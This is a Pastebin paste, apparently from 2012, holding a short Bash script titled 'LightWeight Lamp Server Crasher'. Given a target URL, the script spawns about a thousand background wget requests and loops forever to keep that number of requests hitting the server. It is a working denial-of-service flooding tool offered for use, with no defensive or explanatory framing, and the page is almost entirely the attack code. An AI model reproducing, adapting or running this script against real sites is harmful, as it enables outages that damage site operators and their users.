GamerScenede

LightWeight Lamp Server Crasher

Mar 3rd, 2012
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.76 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # LightWeight Lamp Server Crasher
  4.  
  5. maxproc=1000
  6.  
  7. if [ "$1" == "" ]
  8. then
  9.         echo "Usage: $0 <url> <processes>"
  10.         exit 1
  11. fi
  12. if [ "$2" != "" ]
  13. then
  14.         maxproc="$2"
  15. fi
  16.  
  17. echo "Spawning $maxproc processes"
  18. for ((i=0;i<$maxproc;i++))
  19. do
  20.         wget -O /dev/null $1 > /dev/null 2> /dev/null &
  21. done
  22.  
  23. while [ 1 ]
  24. do
  25.         sleep 1
  26.         actproc="$(ps ax | grep wget | grep -v grep | wc -l)"
  27.         startproc="$(($maxproc-$actproc))"
  28.         if [ "$startproc" -gt "0" ]
  29.         then
  30.                 echo "Spawning $startproc processes ..."
  31.                 for ((i=0;i<$startproc;i++))
  32.                 do
  33.                         wget -O /dev/null $1 > /dev/null 2> /dev/null &
  34.                 done
  35.         fi
  36. done
  37.  
  38. exit 0
Add Comment
Please, Sign In to add comment